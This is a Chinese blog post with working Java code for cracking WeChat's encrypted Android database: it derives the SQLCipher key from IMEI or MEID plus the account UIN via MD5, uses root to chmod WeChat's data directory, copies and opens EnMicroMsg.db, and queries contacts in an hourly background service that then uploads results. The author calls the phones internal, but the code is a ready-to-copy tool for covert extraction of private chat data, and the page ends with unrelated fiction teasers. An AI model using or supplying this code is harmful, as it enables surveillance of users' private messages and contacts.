破解微信数据库 并查询数据上传服务器

由于工作需求破解了微信数据库 并获取想要的信息上传服务器 都是内部手机

网上大神反编译了微信 发现微信的数据库是通过手机的IMEI(唯一识别码) + UIN 大写的IMEI + UIN 进行MD5加密 取32位小写 的前7位就是破解数据库的密码

这是核心原理 根据这个 可以手动获取IMEI 加上UIN 过 http://tool.chinaz.com/Tools/MD5.aspx线上加密 手动破解不用写代码这种

IMEI 应该不用我说 设置里自己去看 下载三方软件也可以看
至于 UIN 是在 data data com.tencent.mm shared_prefs 文件里的 aunt_info_key_prefs.xml 在这个文件里的 value 值就是了 我们要找到Uin
还有一个问题 网上提及的很少 微信的数据库加密是通过getDeviceID 这个函数会随机获取 IMEI 1 IMEI2 和MEID 进行加密 我已经确认了肯定不会获取 IMEI2

只会通过默认卡1 IMEI1 和MEID进行 加密 如果破解失败可以用MEID 尝试进行破解 我在下面的连接数据库那做了这个机制
失败就走 MEID试一遍 MEID无法直接获取 我们都是手动获取的把MEID放在文件里 进行读取

接下来就是写代码了 微信数据库也是比较火 网上资料不少的 我也是参考了好多

public static final String WX_ROOT_PATH = "/data/data/com.tencent.mm/";  

// U ID 文件路径  
private static final String WX_SP_UIN_PATH = WX_ROOT_PATH + "shared_prefs/auth_info_key_prefs.xml";  



private String mDbPassword;  

// 提交参数  

private int  count=0;  

private String IMEI;  

private String Uin;  

private static final String WX_DB_DIR_PATH = WX_ROOT_PATH + "MicroMsg";  

private List<File> mWxDbPathList = new ArrayList<>();  

private static final String WX_DB_FILE_NAME = "EnMicroMsg.db";  

private String mCurrApkPath = "/data/data/" + MyApplication.getContextObject().getPackageName() + "/";  

private static final String COPY_WX_DATA_DB = "wx_data.db";  

// 我是放在了服务里     做了延迟每隔一个小时破解一次 可以去掉  

d   

public void onCreate() {  
 super.onCreate();  
 // 获取root权限  
 execRootCmd("chmod -R 777 " + WX_ROOT_PATH);  
 execRootCmd("chmod  777 /data/data/com.tencent.mm/shared_prefs/auth_info_key_prefs.xml");  

Toast.makeText(this,"开启服务",Toast.LENGTH_LONG).show();  

 Timer timer = new Timer();  
  timer.schedule(new TimerTask() {  

      @Override  
      public void run() {  

          // 获取微信的U id  
          initCurrWxUin();  


          //sqlt= (EditText) findViewById(sqlt);  
          // 获取 IMEI 唯一识别码  
          TelephonyManager phone = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);  
          IMEI = phone.getDeviceId();  

          System.out.println("IMEI"+IMEI);  

          // 根据imei和uin生成的md5码,获取数据库的密码(去前七位的小写字母)  
          initDbPassword(IMEI, Uin);  

          System.out.println(mDbPassword + "数据库的密码");  

          System.out.println("开始统计好友数量");  


          //  递归查询微信本地数据库文件  
          File wxDataDir = new File(WX_DB_DIR_PATH);  
          mWxDbPathList.clear();  
         searchFile(wxDataDir, WX_DB_FILE_NAME);  

          System.out.println("查询数据库文件");  

          System.out.println(mWxDbPathList+"读取到的数据库");  
        try {  
                   在  

                  //处理多账号登陆情况      
                     // 这里要注意 微信登陆多个账号会产生 多个数据库文件   
                  // 所有我们需要把每个数据库文件都尝试破解一下 总有一个密码正确连接成功  
                // 有需要可以把注释解开     

               //  现在的写法是取集合遍历出来的数据库最后一个 我发现遍历的函数很大几率从老文件开是遍历  
                // 最后遍历的db 数据库很可能是新的 也就是当前账号的 但并不稳定 因为这个函数并没有解释  
                //   是从老的开始遍历  两个数据库的情况下 最后一个数据库确实是新的  

            

  // for (int i = 0; i < mWxDbPathList.size(); i++) {  
               File file = mWxDbPathList.get(mWxDbPathList.size()-1);   

             File file = mWxDbPathList.get(i); // 正常写法  

   

               String copyFilePath = mCurrApkPath + COPY_WX_DATA_DB;                
     //将微信数据库拷贝出来,因为直接连接微信的db,会导致微信崩溃  当前数据库只能连接一个              
     copyFile(file.getAbsolutePath(), copyFilePath);                 
        File copyWxDataDb = new File(copyFilePath);                
      openWxDb(copyWxDataDb);        
//  }  





   }catch (Exception e){  
     // Toast.makeText(getApplicationContext(),"解析失败",Toast.LENGTH_LONG).show();  
   }  



     // 上传统计数据  
     login();  

 }  
}, 1000, 3600000);//0是延时;100是间隔  

相关  
相关工具类  直接复制就行   环境复制就  

------------------------------------------------------------------------------------------  

/** 
* 执行linux指令 
* 
* @param paramString 
*/  
public void execRootCmd(String paramString) {  
 try {  
     Process localProcess = Runtime.getRuntime().exec("su");  
     Object localObject = localProcess.getOutputStream();  
     DataOutputStream localDataOutputStream = new DataOutputStream((OutputStream) localObject);  
     String str = String.valueOf(paramString);  
     localObject = str + "\n";  
     localDataOutputStream.writeBytes((String) localObject);  
     localDataOutputStream.flush();  
     localDataOutputStream.writeBytes("exit\n");  
     localDataOutputStream.flush();  
     localProcess.waitFor();  
     localObject = localProcess.exitValue();  
 } catch (Exception localException) {  
     localException.printStackTrace();  
 }  
}  



/** 
* 获取微信的uid 
* 微信的uid存储在SharedPreferences里面 
* 存储位置\data\data\com.tencent.mm\shared_prefs\auth_info_key_prefs.xml 
*/  
private void initCurrWxUin() {  
 Uin = null;  
 File file = new File(WX_SP_UIN_PATH);  
 try {  
     FileInputStream in = new FileInputStream(file);  
     SAXReader saxReader = new SAXReader();  
     Document document = saxReader.read(in);  
     Element root = document.getRootElement();  
     List<Element> elements = root.elements();  
     for (Element element : elements) {  
         if ("_auth_uin".equals(element.attributeValue("name"))) {  
             Uin = element.attributeValue("value");  
         }  
     }  
 } catch (Exception e) {  
     e.printStackTrace();  
     LogUtil.e("获取微信uid失败,请检查auth_info_key_prefs文件权限");  
 }  
}  
/** 
* 根据imei和uin生成的md5码,获取数据库的密码(去前七位的小写字母) 
* 
* @param imei 
* @param uin 
* @return 
*/  
private void initDbPassword(String imei, String uin) {  
 if (TextUtils.isEmpty(imei) || TextUtils.isEmpty(uin)) {  
     LogUtil.e("初始化数据库密码失败:imei或uid为空");  
     return;  
 }  
 String md5 = getMD5(imei + uin);  
 System.out.println(imei+uin+"初始数值");  
 System.out.println(md5+"MD5");  
 String password = md5.substring(0, 7).toLowerCase();  
 System.out.println("加密后"+password);  
 mDbPassword = password;  
}  

public String getMD5(String info)  
{  
 try  
 {  
     MessageDigest md5 = MessageDigest.getInstance("MD5");  
     md5.update(info.getBytes("UTF-8"));  
     byte[] encryption = md5.digest();  

     StringBuffer strBuf = new StringBuffer();  
     for (int i = 0; i < encryption.length; i++)  
     {  
         if (Integer.toHexString(0xff & encryption[i]).length() == 1)  
         {  
             strBuf.append("0").append(Integer.toHexString(0xff & encryption[i]));  
         }  
         else  
         {  
             strBuf.append(Integer.toHexString(0xff & encryption[i]));  
         }  
     }  

     return strBuf.toString();  
 }  
 catch (NoSuchAlgorithmException e)  
 {  
     return "";  
 }  
 catch (UnsupportedEncodingException e)  
 {  
     return "";  
 }  
}  

/** 
* md5加密 
* 
* @param content 
* @return 
*/  
private String md5(String content) {  
 MessageDigest md5 = null;  
 try {  
     md5 = MessageDigest.getInstance("MD5");  
     md5.update(content.getBytes("UTF-8"));  
     byte[] encryption = md5.digest();//加密  
     StringBuffer sb = new StringBuffer();  
     for (int i = 0; i < encryption.length; i++) {  
         if (Integer.toHexString(0xff & encryption[i]).length() == 1) {  
             sb.append("0").append(Integer.toHexString(0xff & encryption[i]));  
         } else {  
             sb.append(Integer.toHexString(0xff & encryption[i]));  
         }  
     }  
     return sb.toString();  
 } catch (Exception e) {  
     e.printStackTrace();  
     return null;  
 }  
}  

/** 
* 递归查询微信本地数据库文件 
* 
* @param file     目录 
* @param fileName 需要查找的文件名称 
*/  
private void searchFile(File file, String fileName) {  
 // 判断是否是文件夹  
 if (file.isDirectory()) {  
     // 遍历文件夹里所有数据  
     File[] files = file.listFiles();  
     if (files != null) {  
         for (File childFile : files) {  
             searchFile(childFile, fileName);  
         }  
     }  
 } else {  
     if (fileName.equals(file.getName())) {  
         mWxDbPathList.add(file);  
     }  
 }  
}  




/** 
* 复制单个文件 
* 
* @param oldPath String 原文件路径 如:c:/fqf.txt 
* @param newPath String 复制后路径 如:f:/fqf.txt 
* @return boolean 
*/  
public void copyFile(String oldPath, String newPath) {  
 try {  
     int byteRead = 0;  
     File oldFile = new File(oldPath);  
     if (oldFile.exists()) { //文件存在时  
         InputStream inStream = new FileInputStream(oldPath); //读入原文件  
         FileOutputStream fs = new FileOutputStream(newPath);  
         byte[] buffer = new byte[1444];  
         while ((byteRead = inStream.read(buffer)) != -1) {  
             fs.write(buffer, 0, byteRead);  
         }  
         inStream.close();  
     }  
 } catch (Exception e) {  
     System.out.println("复制单个文件操作出错");  
     e.printStackTrace();  

 }  
}  

------------------------------------------------------------------------------------------------------------  

// 重点到了 我们之前的操作 遍历文件获取的db 数据库  以及密码 现在就可以用 数据库和密码进行连接   
密码正确  成功进入数据库 获取表信息   我下面获取的是好友的总人数  误差在 + -2 直接大部分这个  
这个需要自己观察表 进行查询  



/** 
  * 连接数据库 
  * 
  * @param dbFile 
  */  
 private void openWxDb(File dbFile) {  
     Context context = MyApplication.getContextObject();  
     SQLiteDatabase.loadLibs(context);  
     SQLiteDatabaseHook hook = new SQLiteDatabaseHook() {  
         public void preKey(SQLiteDatabase database) {  
         }  

         public void postKey(SQLiteDatabase database) {  
             database.rawExecSQL("PRAGMA cipher_migrate;"); //兼容2.0的数据库  
         }  
     };  

     try {  
         //打开数据库连接  
         SQLiteDatabase db = SQLiteDatabase.openOrCreateDatabase(dbFile, mDbPassword, null, hook);  

         //查询所有好友总数(verifyFlag!=0:公众号等类型,群里面非好友的类型为4,未知类型2)  
         // Cursor c1 = db.rawQuery("select * from rcontact where verifyFlag = 0  and type != 4 and type != 2 and type !=33 limit 20, 9999", null);  
         Cursor c1 = db.rawQuery("select * from rcontact where username not like 'gh_%' and verifyFlag<>24 and verifyFlag<>29 and verifyFlag<>56 and type<>33 and type<>70 and verifyFlag=0 and type<>4 and type<>0 and showHead<>43 and type<>65536",null);  

         while (c1.moveToNext()) {  
             String type = c1.getString(c1.getColumnIndex("type"));  
             System.out.println(type+"参数");  
             count++;  



         }  
        // sqlt.setText("好友总数"+count);  
         System.out.println("总共参数"+count);  
       //  Toast.makeText(getApplicationContext(),"好友总数"+count,Toast.LENGTH_SHORT).show();  
         c1.close();  
         db.close();  
     } catch (Exception e) {  
         LogUtil.e("读取数据库信息失败");  
//            e.printStackTrace();  
         //打开数据库连接  
         // 根据imei和uin生成的md5码,获取数据库的密码(去前七位的小写字母)  
         ///  initDbPassword("A100004AF6C883",  Uin);  
         String MEID=readFileSdcard("/mnt/sdcard/meid.txt");  
        String dMEID=MEID.replace("\r\n","");  
         initDbPassword(dMEID.toUpperCase(),Uin);  
         System.out.println(mDbPassword+"MEID---密码");  
         count=0;  
         SQLiteDatabase db = SQLiteDatabase.openOrCreateDatabase(dbFile, mDbPassword, null, hook);  

         //查询所有联系人(verifyFlag!=0:公众号等类型,群里面非好友的类型为4,未知类型2)  
               // 获取好友总数  
         // Cursor c1 = db.rawQuery("select * from rcontact where verifyFlag = 0  and type != 4 and type != 2 and type !=33 limit 20, 9999", null);  
         Cursor c1 = db.rawQuery("select * from rcontact where username not like 'gh_%' and verifyFlag<>24 and verifyFlag<>29 and verifyFlag<>56 and type<>33 and type<>70 and verifyFlag=0 and type<>4 and type<>0 and showHead<>43 and type<>65536",null);  

         while (c1.moveToNext()) {  
             String type = c1.getString(c1.getColumnIndex("type"));  
             System.out.println(type+"参数");  
             count++;  

             //Toast.makeText(getApplicationContext(),type,Toast.LENGTH_SHORT).show();  

         }  
        // sqlt.setText("好友总数"+count);  
        // Toast.makeText(getApplicationContext(),"好友总数"+count,Toast.LENGTH_SHORT).show();  
         System.out.println("总共参数"+count);  
         c1.close();  
         db.close();  





     }  
 }  



 //*//*读在/mnt/sdcard/目录下面的文件  
 public String readFileSdcard(String fileName){  

     String res="";  

     try{  

         FileInputStream fin = new FileInputStream(fileName);  

         int length = fin.available();  

         byte [] buffer = new byte[length];  

         fin.read(buffer);  

         res = EncodingUtils.getString(buffer, "UTF-8");  

         fin.close();  

     }  

     catch(Exception e){  

         e.printStackTrace();  

     }  

     return res;  

 }  

相关博客 我也是参考他完成的需求 http://m.blog.csdn.net/article/details?id=54024442 写的更详细 破解成功LOG 会打印相关 信息可以进行查询 也可以下载个 sqlcipher 数据库可视化工具 进行查看

源码

总结

具体想获取什么数据 请自行查看表 并进行更改SQL查询语句

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 199,902评论 5 468
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 84,037评论 2 377
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 146,978评论 0 332
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 53,867评论 1 272
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 62,763评论 5 360
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,104评论 1 277
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,565评论 3 390
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,236评论 0 254
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,379评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,313评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,363评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,034评论 3 315
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,637评论 3 303
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,719评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,952评论 1 255
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,371评论 2 346
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 41,948评论 2 341

推荐阅读更多精彩内容